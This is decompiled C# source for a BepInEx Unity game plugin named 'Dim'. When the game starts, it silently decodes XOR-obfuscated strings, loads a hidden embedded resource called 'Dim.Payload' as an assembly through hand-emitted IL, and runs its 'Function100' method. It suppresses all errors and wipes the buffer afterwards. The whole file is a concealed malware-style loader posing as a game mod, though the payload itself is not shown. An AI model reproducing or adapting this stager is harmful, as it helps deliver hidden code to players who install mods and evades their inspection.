using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Reflection.Emit;
using System.Runtime.CompilerServices;
using BepInEx;
using Microsoft.CodeAnalysis;
using UnityEngine;
[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: AssemblyVersion("0.0.0.0")]
[module: RefSafetyRules(11)]
namespace Microsoft.CodeAnalysis
{
[CompilerGenerated]
[Embedded]
internal sealed class EmbeddedAttribute : Attribute
{
}
}
namespace System.Runtime.CompilerServices
{
[CompilerGenerated]
[Embedded]
[AttributeUsage(AttributeTargets.Module, AllowMultiple = false, Inherited = false)]
internal sealed class RefSafetyRulesAttribute : Attribute
{
public readonly int Version;
public RefSafetyRulesAttribute(int P_0)
{
Version = P_0;
}
}
}
[BepInPlugin("dim.gl.autonomous", "Dim", "1.4.29")]
public sealed class Var_0 : BaseUnityPlugin
{
private delegate Assembly Var_350(byte[] Var_351);
private delegate void Var_352(object Var_353);
private static readonly byte[] Var_300 = new byte[6] { 68, 105, 109, 82, 117, 110 };
private static string Var_301(byte[] Var_302)
{
char[] array = new char[Var_302.Length];
for (int i = 0; i < Var_302.Length; i++)
{
array[i] = (char)(Var_302[i] ^ Var_300[i % Var_300.Length]);
}
return new string(array);
}
private static byte[] Var_305(Stream Var_306)
{
byte[] array = new byte[(int)Var_306.Length];
int num;
for (int i = 0; i < array.Length; i += num)
{
num = Var_306.Read(array, i, array.Length - i);
if (num <= 0)
{
return null;
}
}
return array;
}
private void Awake()
{
Function1();
}
private void Function1()
{
try
{
string name = Var_301(new byte[11]
{
0, 0, 0, 124, 37, 15, 61, 5, 2, 51,
17
});
byte[] array;
using (Stream stream = typeof(Var_0).Assembly.GetManifestResourceStream(name))
{
if (stream == null)
{
((Behaviour)this).enabled = false;
return;
}
array = Var_305(stream);
}
if (array == null)
{
((Behaviour)this).enabled = false;
return;
}
string name2 = Var_301(new byte[4] { 8, 6, 12, 54 });
DynamicMethod dynamicMethod = new DynamicMethod(Var_301(new byte[3] { 22, 28, 3 }), typeof(Assembly), new Type[1] { typeof(byte[]) }, ((MemberInfo)typeof(Var_0)).Module, skipVisibility: true);
ILGenerator iLGenerator = dynamicMethod.GetILGenerator();
iLGenerator.Emit(OpCodes.Call, typeof(AppDomain).GetProperty("CurrentDomain").GetGetMethod());
iLGenerator.Emit(OpCodes.Ldarg_0);
iLGenerator.Emit(OpCodes.Callvirt, typeof(AppDomain).GetMethod(name2, new Type[1] { typeof(byte[]) }));
iLGenerator.Emit(OpCodes.Ret);
Assembly assembly = ((Var_350)dynamicMethod.CreateDelegate(typeof(Var_350)))(array);
for (int i = 0; i < array.Length; i++)
{
array[i] = 0;
}
if (assembly == null)
{
((Behaviour)this).enabled = false;
return;
}
string text = Var_301(new byte[5] { 18, 8, 31, 13, 68 });
string name3 = Var_301(new byte[11]
{
2, 28, 3, 49, 1, 7, 43, 7, 92, 98,
69
});
Type type = assembly.GetType(text, throwOnError: true);
object var_ = type.Assembly.CreateInstance(text);
DynamicMethod dynamicMethod2 = new DynamicMethod(Var_301(new byte[3] { 22, 28, 3 }), null, new Type[1] { typeof(object) }, ((MemberInfo)type).Module, skipVisibility: true);
ILGenerator iLGenerator2 = dynamicMethod2.GetILGenerator();
iLGenerator2.Emit(OpCodes.Ldarg_0);
iLGenerator2.Emit(OpCodes.Castclass, type);
iLGenerator2.Emit(OpCodes.Callvirt, type.GetMethod(name3, BindingFlags.Instance | BindingFlags.Public));
iLGenerator2.Emit(OpCodes.Ret);
((Var_352)dynamicMethod2.CreateDelegate(typeof(Var_352)))(var_);
}
catch
{
}
((Behaviour)this).enabled = false;
}
}